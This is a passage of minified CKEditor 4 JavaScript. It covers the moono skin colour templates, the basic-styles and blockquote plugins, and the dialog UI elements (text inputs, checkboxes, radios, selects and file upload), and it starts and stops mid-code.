CKEDITOR.document.appendStyleText(".cke{visibility:hidden;}");CKEDITOR.status="loaded";CKEDITOR.fireOnce("loaded");if(a=CKEDITOR._.pending){delete CKEDITOR._.pending;for(f=0;f<a.length;f++){CKEDITOR.editor.prototype.constructor.apply(a[f][0],a[f][1]);CKEDITOR.add(a[f][0])}}})();CKEDITOR.skin.name="moono";CKEDITOR.skin.ua_editor="ie,iequirks,ie7,ie8,gecko";CKEDITOR.skin.ua_dialog="ie,iequirks,ie7,ie8";
CKEDITOR.skin.chameleon=function(){var b=function(){return function(b,e){for(var a=b.match(/[^#]./g),c=0;3>c;c++){var f=a,h=c,d;d=parseInt(a[c],16);d=("0"+(0>e?0|d*(1+e):0|d+(255-d)*e).toString(16)).slice(-2);f[h]=d}return"#"+a.join("")}}(),c=function(){var b=new CKEDITOR.template("background:#{to};background-image:-webkit-gradient(linear,lefttop,leftbottom,from({from}),to({to}));background-image:-moz-linear-gradient(top,{from},{to});background-image:-webkit-linear-gradient(top,{from},{to});background-image:-o-linear-gradient(top,{from},{to});background-image:-ms-linear-gradient(top,{from},{to});background-image:linear-gradient(top,{from},{to});filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='{from}',endColorstr='{to}');");return function(c,
a){return b.output({from:c,to:a})}}(),f={editor:new CKEDITOR.template("{id}.cke_chrome [border-color:{defaultBorder};] {id} .cke_top [ {defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_bottom [{defaultGradient}border-top-color:{defaultBorder};] {id} .cke_resizer [border-right-color:{ckeResizer}] {id} .cke_dialog_title [{defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_dialog_footer [{defaultGradient}outline-color:{defaultBorder};border-top-color:{defaultBorder};] {id} .cke_dialog_tab [{lightGradient}border-color:{defaultBorder};] {id} .cke_dialog_tab:hover [{mediumGradient}] {id} .cke_dialog_contents [border-top-color:{defaultBorder};] {id} .cke_dialog_tab_selected, {id} .cke_dialog_tab_selected:hover [background:{dialogTabSelected};border-bottom-color:{dialogTabSelectedBorder};] {id} .cke_dialog_body [background:{dialogBody};border-color:{defaultBorder};] {id} .cke_toolgroup [{lightGradient}border-color:{defaultBorder};] {id} a.cke_button_off:hover, {id} a.cke_button_off:focus, {id} a.cke_button_off:active [{mediumGradient}] {id} .cke_button_on [{ckeButtonOn}] {id} .cke_toolbar_separator [background-color: {ckeToolbarSeparator};] {id} .cke_combo_button [border-color:{defaultBorder};{lightGradient}] {id} a.cke_combo_button:hover, {id} a.cke_combo_button:focus, {id} .cke_combo_on a.cke_combo_button [border-color:{defaultBorder};{mediumGradient}] {id} .cke_path_item [color:{elementsPathColor};] {id} a.cke_path_item:hover, {id} a.cke_path_item:focus, {id} a.cke_path_item:active [background-color:{elementsPathBg};] {id}.cke_panel [border-color:{defaultBorder};] "),
panel:new CKEDITOR.template(".cke_panel_grouptitle [{lightGradient}border-color:{defaultBorder};] .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menubutton:hover .cke_menubutton_icon, .cke_menubutton:focus .cke_menubutton_icon, .cke_menubutton:active .cke_menubutton_icon [background-color:{menubuttonIconHover};] .cke_menuseparator [background-color:{menubuttonIcon};] a:hover.cke_colorbox, a:focus.cke_colorbox, a:active.cke_colorbox [border-color:{defaultBorder};] a:hover.cke_colorauto, a:hover.cke_colormore, a:focus.cke_colorauto, a:focus.cke_colormore, a:active.cke_colorauto, a:active.cke_colormore [background-color:{ckeColorauto};border-color:{defaultBorder};] ")};
return function(g,e){var a=g.uiColor,a={id:"."+g.id,defaultBorder:b(a,-0.1),defaultGradient:c(b(a,0.9),a),lightGradient:c(b(a,1),b(a,0.7)),mediumGradient:c(b(a,0.8),b(a,0.5)),ckeButtonOn:c(b(a,0.6),b(a,0.7)),ckeResizer:b(a,-0.4),ckeToolbarSeparator:b(a,0.5),ckeColorauto:b(a,0.8),dialogBody:b(a,0.7),dialogTabSelected:c("#FFFFFF","#FFFFFF"),dialogTabSelectedBorder:"#FFF",elementsPathColor:b(a,-0.6),elementsPathBg:a,menubuttonIcon:b(a,0.5),menubuttonIconHover:b(a,0.3)};return f[e].output(a).replace(/\[/g,
"{").replace(/\]/g,"}")}}();CKEDITOR.plugins.add("basicstyles",{init:function(c){var e=0,d=function(g,d,b,a){if(a){var a=new CKEDITOR.style(a),f=h[b];f.unshift(a);c.attachStyleStateChange(a,function(a){!c.readOnly&&c.getCommand(b).setState(a)});c.addCommand(b,new CKEDITOR.styleCommand(a,{contentForms:f}));c.ui.addButton&&c.ui.addButton(g,{label:d,command:b,toolbar:"basicstyles,"+(e+=10)})}},h={bold:["strong","b",["span",function(a){a=a.styles["font-weight"];return"bold"==a||700<=+a}]],italic:["em","i",["span",function(a){return"italic"==
a.styles["font-style"]}]],underline:["u",["span",function(a){return"underline"==a.styles["text-decoration"]}]],strike:["s","strike",["span",function(a){return"line-through"==a.styles["text-decoration"]}]],subscript:["sub"],superscript:["sup"]},b=c.config,a=c.lang.basicstyles;d("Bold",a.bold,"bold",b.coreStyles_bold);d("Italic",a.italic,"italic",b.coreStyles_italic);d("Underline",a.underline,"underline",b.coreStyles_underline);d("Strike",a.strike,"strike",b.coreStyles_strike);d("Subscript",a.subscript,
"subscript",b.coreStyles_subscript);d("Superscript",a.superscript,"superscript",b.coreStyles_superscript);c.setKeystroke([[CKEDITOR.CTRL+66,"bold"],[CKEDITOR.CTRL+73,"italic"],[CKEDITOR.CTRL+85,"underline"]])}});CKEDITOR.config.coreStyles_bold={element:"strong",overrides:"b"};CKEDITOR.config.coreStyles_italic={element:"em",overrides:"i"};CKEDITOR.config.coreStyles_underline={element:"u"};CKEDITOR.config.coreStyles_strike={element:"s",overrides:"strike"};CKEDITOR.config.coreStyles_subscript={element:"sub"};
CKEDITOR.config.coreStyles_superscript={element:"sup"};(function(){var k={exec:function(g){var a=g.getCommand("blockquote").state,i=g.getSelection(),c=i&&i.getRanges()[0];if(c){var h=i.createBookmarks();if(CKEDITOR.env.ie){var e=h[0].startNode,b=h[0].endNode,d;if(e&&"blockquote"==e.getParent().getName())for(d=e;d=d.getNext();)if(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()){e.move(d,!0);break}if(b&&"blockquote"==b.getParent().getName())for(d=b;d=d.getPrevious();)if(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()){b.move(d);break}}var f=c.createIterator();
f.enlargeBr=g.config.enterMode!=CKEDITOR.ENTER_BR;if(a==CKEDITOR.TRISTATE_OFF){for(e=[];a=f.getNextParagraph();)e.push(a);1>e.length&&(a=g.document.createElement(g.config.enterMode==CKEDITOR.ENTER_P?"p":"div"),b=h.shift(),c.insertNode(a),a.append(new CKEDITOR.dom.text("",g.document)),c.moveToBookmark(b),c.selectNodeContents(a),c.collapse(!0),b=c.createBookmark(),e.push(a),h.unshift(b));d=e[0].getParent();c=[];for(b=0;b<e.length;b++)a=e[b],d=d.getCommonAncestor(a.getParent());for(a={table:1,tbody:1,
tr:1,ol:1,ul:1};a[d.getName()];)d=d.getParent();for(b=null;0<e.length;){for(a=e.shift();!a.getParent().equals(d);)a=a.getParent();a.equals(b)||c.push(a);b=a}for(;0<c.length;)if(a=c.shift(),"blockquote"==a.getName()){for(b=new CKEDITOR.dom.documentFragment(g.document);a.getFirst();)b.append(a.getFirst().remove()),e.push(b.getLast());b.replace(a)}else e.push(a);c=g.document.createElement("blockquote");for(c.insertBefore(e[0]);0<e.length;)a=e.shift(),c.append(a)}else if(a==CKEDITOR.TRISTATE_ON){b=[];
for(d={};a=f.getNextParagraph();){for(e=c=null;a.getParent();){if("blockquote"==a.getParent().getName()){c=a.getParent();e=a;break}a=a.getParent()}c&&(e&&!e.getCustomData("blockquote_moveout"))&&(b.push(e),CKEDITOR.dom.element.setMarker(d,e,"blockquote_moveout",!0))}CKEDITOR.dom.element.clearAllMarkers(d);a=[];e=[];for(d={};0<b.length;)f=b.shift(),c=f.getParent(),f.getPrevious()?f.getNext()?(f.breakParent(f.getParent()),e.push(f.getNext())):f.remove().insertAfter(c):f.remove().insertBefore(c),c.getCustomData("blockquote_processed")||
(e.push(c),CKEDITOR.dom.element.setMarker(d,c,"blockquote_processed",!0)),a.push(f);CKEDITOR.dom.element.clearAllMarkers(d);for(b=e.length-1;0<=b;b--){c=e[b];a:{d=c;for(var f=0,k=d.getChildCount(),j=void 0;f<k&&(j=d.getChild(f));f++)if(j.type==CKEDITOR.NODE_ELEMENT&&j.isBlockBoundary()){d=!1;break a}d=!0}d&&c.remove()}if(g.config.enterMode==CKEDITOR.ENTER_BR)for(c=!0;a.length;)if(f=a.shift(),"div"==f.getName()){b=new CKEDITOR.dom.documentFragment(g.document);c&&(f.getPrevious()&&!(f.getPrevious().type==
CKEDITOR.NODE_ELEMENT&&f.getPrevious().isBlockBoundary()))&&b.append(g.document.createElement("br"));for(c=f.getNext()&&!(f.getNext().type==CKEDITOR.NODE_ELEMENT&&f.getNext().isBlockBoundary());f.getFirst();)f.getFirst().remove().appendTo(b);c&&b.append(g.document.createElement("br"));b.replace(f);c=!1}}i.selectBookmarks(h);g.focus()}},refresh:function(g,a){this.setState(g.elementPath(a.block||a.blockLimit).contains("blockquote",1)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)},context:"blockquote",
allowedContent:"blockquote",requiredContent:"blockquote"};CKEDITOR.plugins.add("blockquote",{init:function(g){g.blockless||(g.addCommand("blockquote",k),g.ui.addButton&&g.ui.addButton("Blockquote",{label:g.lang.blockquote.toolbar,command:"blockquote",toolbar:"blocks,10"}))}})})();CKEDITOR.plugins.add("dialogui",{onLoad:function(){var h=function(b){this._||(this._={});this._["default"]=this._.initValue=b["default"]||"";this._.required=b.required||!1;for(var a=[this._],d=1;d<arguments.length;d++)a.push(arguments[d]);a.push(!0);CKEDITOR.tools.extend.apply(CKEDITOR.tools,a);return this._},r={build:function(b,a,d){return new CKEDITOR.ui.dialog.textInput(b,a,d)}},l={build:function(b,a,d){return new CKEDITOR.ui.dialog[a.type](b,a,d)}},n={isChanged:function(){return this.getValue()!=
this.getInitValue()},reset:function(b){this.setValue(this.getInitValue(),b)},setInitValue:function(){this._.initValue=this.getValue()},resetInitValue:function(){this._.initValue=this._["default"]},getInitValue:function(){return this._.initValue}},o=CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onChange:function(b,a){this._.domOnChangeRegistered||(b.on("load",function(){this.getInputElement().on("change",function(){b.parts.dialog.isVisible()&&this.fire("change",{value:this.getValue()})},
this)},this),this._.domOnChangeRegistered=!0);this.on("change",a)}},!0),s=/^on([A-Z]\w+)/,p=function(b){for(var a in b)(s.test(a)||"title"==a||"type"==a)&&delete b[a];return b};CKEDITOR.tools.extend(CKEDITOR.ui.dialog,{labeledElement:function(b,a,d,f){if(!(4>arguments.length)){var c=h.call(this,a);c.labelId=CKEDITOR.tools.getNextId()+"_label";this._.children=[];var e={role:a.role||"presentation"};a.includeLabel&&(e["aria-labelledby"]=c.labelId);CKEDITOR.ui.dialog.uiElement.call(this,b,a,d,"div",null,
e,function(){var e=[],g=a.required?" cke_required":"";if(a.labelLayout!="horizontal")e.push('<label class="cke_dialog_ui_labeled_label'+g+'" ',' id="'+c.labelId+'"',c.inputId?' for="'+c.inputId+'"':"",(a.labelStyle?' style="'+a.labelStyle+'"':"")+">",a.label,"</label>",'<div class="cke_dialog_ui_labeled_content"',a.controlStyle?' style="'+a.controlStyle+'"':"",' role="presentation">',f.call(this,b,a),"</div>");else{g={type:"hbox",widths:a.widths,padding:0,children:[{type:"html",html:'<label class="cke_dialog_ui_labeled_label'+
g+'" id="'+c.labelId+'" for="'+c.inputId+'"'+(a.labelStyle?' style="'+a.labelStyle+'"':"")+">"+CKEDITOR.tools.htmlEncode(a.label)+"</span>"},{type:"html",html:'<span class="cke_dialog_ui_labeled_content"'+(a.controlStyle?' style="'+a.controlStyle+'"':"")+">"+f.call(this,b,a)+"</span>"}]};CKEDITOR.dialog._.uiElementBuilders.hbox.build(b,g,e)}return e.join("")})}},textInput:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);var f=this._.inputId=CKEDITOR.tools.getNextId()+"_textInput",c={"class":"cke_dialog_ui_input_"+
a.type,id:f,type:a.type};a.validate&&(this.validate=a.validate);a.maxLength&&(c.maxlength=a.maxLength);a.size&&(c.size=a.size);a.inputStyle&&(c.style=a.inputStyle);var e=this,k=!1;b.on("load",function(){e.getInputElement().on("keydown",function(a){a.data.getKeystroke()==13&&(k=true)});e.getInputElement().on("keyup",function(a){if(a.data.getKeystroke()==13&&k){b.getButton("ok")&&setTimeout(function(){b.getButton("ok").click()},0);k=false}},null,null,1E3)});CKEDITOR.ui.dialog.labeledElement.call(this,
b,a,d,function(){var b=['<div class="cke_dialog_ui_input_',a.type,'" role="presentation"'];a.width&&b.push('style="width:'+a.width+'" ');b.push("><input ");c["aria-labelledby"]=this._.labelId;this._.required&&(c["aria-required"]=this._.required);for(var e in c)b.push(e+'="'+c[e]+'" ');b.push(" /></div>");return b.join("")})}},textarea:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);var f=this,c=this._.inputId=CKEDITOR.tools.getNextId()+"_textarea",e={};a.validate&&(this.validate=a.validate);
e.rows=a.rows||5;e.cols=a.cols||20;e["class"]="cke_dialog_ui_input_textarea "+(a["class"]||"");"undefined"!=typeof a.inputStyle&&(e.style=a.inputStyle);a.dir&&(e.dir=a.dir);CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){e["aria-labelledby"]=this._.labelId;this._.required&&(e["aria-required"]=this._.required);var a=['<div class="cke_dialog_ui_input_textarea" role="presentation"><textarea id="',c,'" '],b;for(b in e)a.push(b+'="'+CKEDITOR.tools.htmlEncode(e[b])+'" ');a.push(">",CKEDITOR.tools.htmlEncode(f._["default"]),
"</textarea></div>");return a.join("")})}},checkbox:function(b,a,d){if(!(3>arguments.length)){var f=h.call(this,a,{"default":!!a["default"]});a.validate&&(this.validate=a.validate);CKEDITOR.ui.dialog.uiElement.call(this,b,a,d,"span",null,null,function(){var c=CKEDITOR.tools.extend({},a,{id:a.id?a.id+"_checkbox":CKEDITOR.tools.getNextId()+"_checkbox"},true),e=[],d=CKEDITOR.tools.getNextId()+"_label",g={"class":"cke_dialog_ui_checkbox_input",type:"checkbox","aria-labelledby":d};p(c);if(a["default"])g.checked=
"checked";if(typeof c.inputStyle!="undefined")c.style=c.inputStyle;f.checkbox=new CKEDITOR.ui.dialog.uiElement(b,c,e,"input",null,g);e.push(' <label id="',d,'" for="',g.id,'"'+(a.labelStyle?' style="'+a.labelStyle+'"':"")+">",CKEDITOR.tools.htmlEncode(a.label),"</label>");return e.join("")})}},radio:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);this._["default"]||(this._["default"]=this._.initValue=a.items[0][1]);a.validate&&(this.validate=a.valdiate);var f=[],c=this;a.role="radiogroup";
a.includeLabel=!0;CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){for(var e=[],d=[],g=(a.id?a.id:CKEDITOR.tools.getNextId())+"_radio",i=0;i<a.items.length;i++){var j=a.items[i],h=j[2]!==void 0?j[2]:j[0],l=j[1]!==void 0?j[1]:j[0],m=CKEDITOR.tools.getNextId()+"_radio_input",n=m+"_label",m=CKEDITOR.tools.extend({},a,{id:m,title:null,type:null},true),h=CKEDITOR.tools.extend({},m,{title:h},true),o={type:"radio","class":"cke_dialog_ui_radio_input",name:g,value:l,"aria-labelledby":n},q=[];if(c._["default"]==
l)o.checked="checked";p(m);p(h);if(typeof m.inputStyle!="undefined")m.style=m.inputStyle;m.keyboardFocusable=true;f.push(new CKEDITOR.ui.dialog.uiElement(b,m,q,"input",null,o));q.push(" ");new CKEDITOR.ui.dialog.uiElement(b,h,q,"label",null,{id:n,"for":o.id},j[0]);e.push(q.join(""))}new CKEDITOR.ui.dialog.hbox(b,f,e,d);return d.join("")});this._.children=f}},button:function(b,a,d){if(arguments.length){"function"==typeof a&&(a=a(b.getParentEditor()));h.call(this,a,{disabled:a.disabled||!1});CKEDITOR.event.implementOn(this);
var f=this;b.on("load",function(){var a=this.getElement();(function(){a.on("click",function(a){f.click();a.data.preventDefault()});a.on("keydown",function(a){a.data.getKeystroke()in{32:1}&&(f.click(),a.data.preventDefault())})})();a.unselectable()},this);var c=CKEDITOR.tools.extend({},a);delete c.style;var e=CKEDITOR.tools.getNextId()+"_label";CKEDITOR.ui.dialog.uiElement.call(this,b,c,d,"a",null,{style:a.style,href:"javascript:void(0)",title:a.label,hidefocus:"true","class":a["class"],role:"button",
"aria-labelledby":e},'<span id="'+e+'" class="cke_dialog_ui_button">'+CKEDITOR.tools.htmlEncode(a.label)+"</span>")}},select:function(b,a,d){if(!(3>arguments.length)){var f=h.call(this,a);a.validate&&(this.validate=a.validate);f.inputId=CKEDITOR.tools.getNextId()+"_select";CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){var c=CKEDITOR.tools.extend({},a,{id:a.id?a.id+"_select":CKEDITOR.tools.getNextId()+"_select"},true),e=[],d=[],g={id:f.inputId,"class":"cke_dialog_ui_input_select","aria-labelledby":this._.labelId};
e.push('<div class="cke_dialog_ui_input_',a.type,'" role="presentation"');a.width&&e.push('style="width:'+a.width+'" ');e.push(">");if(a.size!==void 0)g.size=a.size;if(a.multiple!==void 0)g.multiple=a.multiple;p(c);for(var i=0,j;i<a.items.length&&(j=a.items[i]);i++)d.push('<option value="',CKEDITOR.tools.htmlEncode(j[1]!==void 0?j[1]:j[0]).replace(/"/g,"&quot;"),'" /> ',CKEDITOR.tools.htmlEncode(j[0]));if(typeof c.inputStyle!="undefined")c.style=c.inputStyle;f.select=new CKEDITOR.ui.dialog.uiElement(b,
c,e,"select",null,g,d.join(""));e.push("</div>");return e.join("")})}},file:function(b,a,d){if(!(3>arguments.length)){void 0===a["default"]&&(a["default"]="");var f=CKEDITOR.tools.extend(h.call(this,a),{definition:a,buttons:[]});a.validate&&(this.validate=a.validate);b.on("load",function(){CKEDITOR.document.getById(f.frameId).getParent().addClass("cke_dialog_ui_input_file")});CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){f.frameId=CKEDITOR.tools.getNextId()+"_fileInput";var b=['<iframe frameborder="0" allowtransparency="0" class="cke_dialog_ui_input_file" role="presentation" id="',
f.frameId,'" title="',a.label,'" src="javascript:void('];b.push(CKEDITOR.env.ie?"(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"})()":"0");b.push(')"></iframe>');return b.join("")})}},fileButton:function(b,a,d){var f=this;if(!(3>arguments.length)){h.call(this,a);a.validate&&(this.validate=a.validate);var c=CKEDITOR.tools.extend({},a),e=c.onClick;c.className=(c.className?c.className+" ":"")+"cke_dialog_ui_button";c.onClick=function(c){var d=
a["for"];if(!e||e.call(this,c)!==false){b.getContentElement(d[0],d[1]).submit();this.disable()}};b.on("load",function(){b.getContentElement(a["for"][0],a["for"][1])._.buttons.push(f)});CKEDITOR.ui.dialog.button.call(this,b,c,d)}},html:function(){var b=/^\s*<[\w:]+\s+([^>]*)?>/,a=/^(\s*<[\w:]+(?:\s+[^>]*)?)((?:.|\r|\n)+)$/,d=/\/$/;return function(f,c,e){if(!(3>arguments.length)){var k=[],g=c.html;"<"!=g.charAt(0)&&(g="<span>"+g+"</span>");var i=c.focus;if(i){var j=this.focus;this.focus=function(){("function"==
typeof i?i:j).call(this);this.fire("focus")};c.isFocusable&&(this.isFocusable=this.isFocusable);this.keyboardFocusable=!0}CKEDITOR.ui.dialog.uiElement.call(this,f,c,k,"span",null,null,"");k=k.join("").match(b);g=g.match(a)||["","",""];d.test(g[1])&&(g[1]=g[1].slice(0,-1),g[2]="/"+g[2]);e.push([g[1]," ",k[1]||"",g[2]].join(""))}}}(),fieldset:function(b,a,d,f,c){var e=c.label;this._={children:a};CKEDITOR.ui.dialog.uiElement.call(this,b,c,f,"fieldset",null,null,function(){var a=[];e&&a.push("<legend"+
(c.labelStyle?' style="'+c.labelStyle+'"':"")+">"+e+"</legend>");for(var b=0;b<d.length;b++)a.push(d[b]);return a.join("")})}},!0);CKEDITOR.ui.dialog.html.prototype=new CKEDITOR.ui.dialog.uiElement;CKEDITOR.ui.dialog.labeledElement.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setLabel:function(b){var a=CKEDITOR.document.getById(this._.labelId);1>a.getChildCount()?(new CKEDITOR.dom.text(b,CKEDITOR.document)).appendTo(a):a.getChild(0).$.nodeValue=b;return this},getLabel:function(){var b=
CKEDITOR.document.getById(this._.labelId);return!b||1>b.getChildCount()?"":b.getChild(0).getText()},eventProcessors:o},!0);CKEDITOR.ui.dialog.button.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{click:function(){return!this._.disabled?this.fire("click",{dialog:this._.dialog}):!1},enable:function(){this._.disabled=!1;var b=this.getElement();b&&b.removeClass("cke_disabled")},disable:function(){this._.disabled=!0;this.getElement().addClass("cke_disabled")},isVisible:function(){return this.getElement().getFirst().isVisible()},
isEnabled:function(){return!this._.disabled},eventProcessors:CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onClick:function(b,a){this.on("click",function(){a.apply(this,arguments)})}},!0),accessKeyUp:function(){this.click()},accessKeyDown:function(){this.focus()},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.textInput.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return CKEDITOR.document.getById(this._.inputId)},
focus:function(){var b=this.selectParentTab();setTimeout(function(){var a=b.getInputElement();a&&a.$.focus()},0)},select:function(){var b=this.selectParentTab();setTimeout(function(){var a=b.getInputElement();a&&(a.$.focus(),a.$.select())},0)},accessKeyUp:function(){this.select()},setValue:function(b){!b&&(b="");return CKEDITOR.ui.dialog.uiElement.prototype.setValue.apply(this,arguments)},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.textarea.prototype=new CKEDITOR.ui.dialog.textInput;CKEDITOR.ui.dialog.select.prototype=
CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return this._.select.getElement()},add:function(b,a,d){var f=new CKEDITOR.dom.element("option",this.getDialog().getParentEditor().document),c=this.getInputElement().$;f.$.text=b;f.$.value=void 0===a||null===a?b:a;void 0===d||null===d?CKEDITOR.env.ie?c.add(f.$):c.add(f.$,null):c.add(f.$,d);return this},remove:function(b){this.getInputElement().$.remove(b);return this},clear:function(){for(var b=this.getInputElement().$;0<
b.length;)b.remove(0);return this},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.checkbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getInputElement:function(){return this._.checkbox.getElement()},setValue:function(b,a){this.getInputElement().$.checked=b;!a&&this.fire("change",{value:b})},getValue:function(){return this.getInputElement().$.checked},accessKeyUp:function(){this.setValue(!this.getValue())},eventProcessors:{onChange:function(b,a){if(!CKEDITOR.env.ie||8<CKEDITOR.env.version)return o.onChange.apply(this,
arguments);b.on("load",function(){var a=this._.checkbox.getElement();a.on("propertychange",function(b){b=b.data.$;"checked"==b.propertyName&&this.fire("change",{value:a.$.checked})},this)},this);this.on("change",a);return null}},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.radio.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setValue:function(b,a){for(var d=this._.children,f,c=0;c<d.length&&(f=d[c]);c++)f.getElement().$.checked=f.getValue()==b;!a&&this.fire("change",{value:b})},
getValue:function(){for(var b=this._.children,a=0;a<b.length;a++)if(b[a].getElement().$.checked)return b[a].getValue();return null},accessKeyUp:function(){var b=this._.children,a;for(a=0;a<b.length;a++)if(b[a].getElement().$.checked){b[a].getElement().focus();return}b[0].getElement().focus()},eventProcessors:{onChange:function(b,a){if(CKEDITOR.env.ie)b.on("load",function(){for(var a=this._.children,b=this,c=0;c<a.length;c++)a[c].getElement().on("propertychange",function(a){a=a.data.$;"checked"==a.propertyName&&
this.$.checked&&b.fire("change",{value:this.getAttribute("value")})})},this),this.on("change",a);else return o.onChange.apply(this,arguments);return null}}},n,!0);CKEDITOR.ui.dialog.file.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,n,{getInputElement:function(){var b=CKEDITOR.document.getById(this._.frameId).getFrameDocument();return 0<b.$.forms.length?new CKEDITOR.dom.element(b.$.forms[0].elements[0]):this.getElement()},submit:function(){this.getInputElement().getParent().$.submit();
return this},getAction:function(){return this.getInputElement().getParent().$.action},registerEvents:function(b){var a=/^on([A-Z]\w+)/,d,f=function(a,b,c,d){a.on("formLoaded",function(){a.getInputElement().on(c,d,a)})},c;for(c in b)if(d=c.match(a))this.eventProcessors[c]?this.eventProcessors[c].call(this,this._.dialog,b[c]):f(this,this._.dialog,d[1].toLowerCase(),b[c]);return this},reset:function(){function b(){d.$.open();var b="";f.size&&(b=f.size-(CKEDITOR.env.ie?7:0));var h=a.frameId+"_input";
d.$.write(['<html dir="'+g+'" lang="'+i+'"><head><title></title></head><body style="margin: 0; overflow: hidden; background: transparent;">','<form enctype="multipart/form-data" method="POST" dir="'+g+'" lang="'+i+'" action="',CKEDITOR.tools.htmlEncode(f.action),'"><label id="',a.labelId,'" for="',h,'" style="display:none">',CKEDITOR.tools.htmlEncode(f.label),'</label><input style="width:100%" id="',h,'" aria-labelledby="',a.labelId,'" type="file" name="',CKEDITOR.tools.htmlEncode(f.id||"cke_upload"),
'" size="',CKEDITOR.tools.htmlEncode(0<b?b:""),'" /></form></body></html><script>',CKEDITOR.env.ie?"("+CKEDITOR.tools.fixDomain+")();":"","window.parent.CKEDITOR.tools.callFunction("+e+");","window.onbeforeunload = function() {window.parent.CKEDITOR.tools.callFunction("+k+")}","<\/script>"].join(""));d.$.close();for(b=0;b<c.length;b++)c[b].enable()}var a=this._,d=CKEDITOR.document.getById(a.frameId).getFrameDocument(),f=a.definition,c=a.buttons,e=this.formLoadedNumber,k=this.formUnloadNumber,g=a.dialog._.editor.lang.dir,
i=a.dialog._.editor.langCode;e||(e=this.formLoadedNumber=CKEDITOR.tools.addFunction(function(){this.fire("formLoaded")},this),k=this.formUnloadNumber=CKEDITOR.tools.addFunction(function(){this.getInputElement().clearCustomData()},this),this.getDialog()._.editor.on("destroy",function(){CKEDITOR.tools.removeFunction(e);CKEDITOR.tools.removeFunction(k)}));CKEDITOR.env.gecko?setTimeout(b,500):b()},getValue:function(){return this.getInputElement().$.value||""},setInitValue:function(){this._.initValue=
""},eventProcessors:{onChange:function(b,a){this._.domOnChangeRegistered||(this.on("formLoaded",function(){this.getInputElement().on("change",function(){this.fire("change",{value:this.getValue()})},this)},this),this._.domOnChangeRegistered=!0);this.on("change",a)}},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.fileButton.prototype=new CKEDITOR.ui.dialog.button;CKEDITOR.ui.dialog.fieldset.prototype=CKEDITOR.tools.clone(CKEDITOR.ui.dialog.hbox.prototype);CKEDITOR.dialog.addUIElement("text",r);CKEDITOR.dialog.addUIElement("password",
r);CKEDITOR.dialog.addUIElement("textarea",l);CKEDITOR.dialog.addUIElement("checkbox",l);CKEDITOR.dialog.addUIElement("radio",l);CKEDITOR.dialog.addUIElement("button",l);CKEDITOR.dialog.addUIElement("select",l);CKEDITOR.dialog.addUIElement("file",l);CKEDITOR.dialog.addUIElement("fileButton",l);CKEDITOR.dialog.addUIElement("html",l);CKEDITOR.dialog.addUIElement("fieldset",{build:function(b,a,d){for(var f=a.children,c,e=[],h=[],g=0;g<f.length&&(c=f[g]);g++){var i=[];e.push(i);h.push(CKEDITOR.dialog._.uiElementBuilders[c.type].build(b,
c,i))}return new CKEDITOR.ui.dialog[a.type](b,h,e,d,a)}})}});CKEDITOR.DIALOG_RESIZE_NONE=0;CKEDITOR.DIALOG_RESIZE_WIDTH=1;CKEDITOR.DIALOG_RESIZE_HEIGHT=2;CKEDITOR.DIALOG_RESIZE_BOTH=3;
(function(){function t(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId)+a,c=b-1;c>b-a;c--)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function u(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId),c=b+1;c<b+a;c++)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function G(a,b){for(var c=a.$.getElementsByTagName("input"),
e=0,d=c.length;e<d;e++){var g=new CKEDITOR.dom.element(c[e]);"text"==g.getAttribute("type").toLowerCase()&&(b?(g.setAttribute("value",g.getCustomData("fake_value")||""),g.removeCustomData("fake_value")):(g.setCustomData("fake_value",g.getAttribute("value")),g.setAttribute("value","")))}}function P(a,b){var c=this.getInputElement();c&&(a?c.removeAttribute("aria-invalid"):c.setAttribute("aria-invalid",!0));a||(this.select?this.select():this.focus());b&&alert(b);this.fire("validated",{valid:a,msg:b})}
function Q(){var a=this.getInputElement();a&&a.removeAttribute("aria-invalid")}function R(a){var a=CKEDITOR.dom.element.createFromHtml(CKEDITOR.addTemplate("dialog",S).output({id:CKEDITOR.tools.getNextNumber(),editorId:a.id,langDir:a.lang.dir,langCode:a.langCode,editorDialogClass:"cke_editor_"+a.name.replace(/\./g,"\\.")+"_dialog",closeTitle:a.lang.common.close,hidpi:CKEDITOR.env.hidpi?"cke_hidpi":""})),b=a.getChild([0,0,0,0,0]),c=b.getChild(0),e=b.getChild(1);if(CKEDITOR.env.ie&&!CKEDITOR.env.quirks){var d=
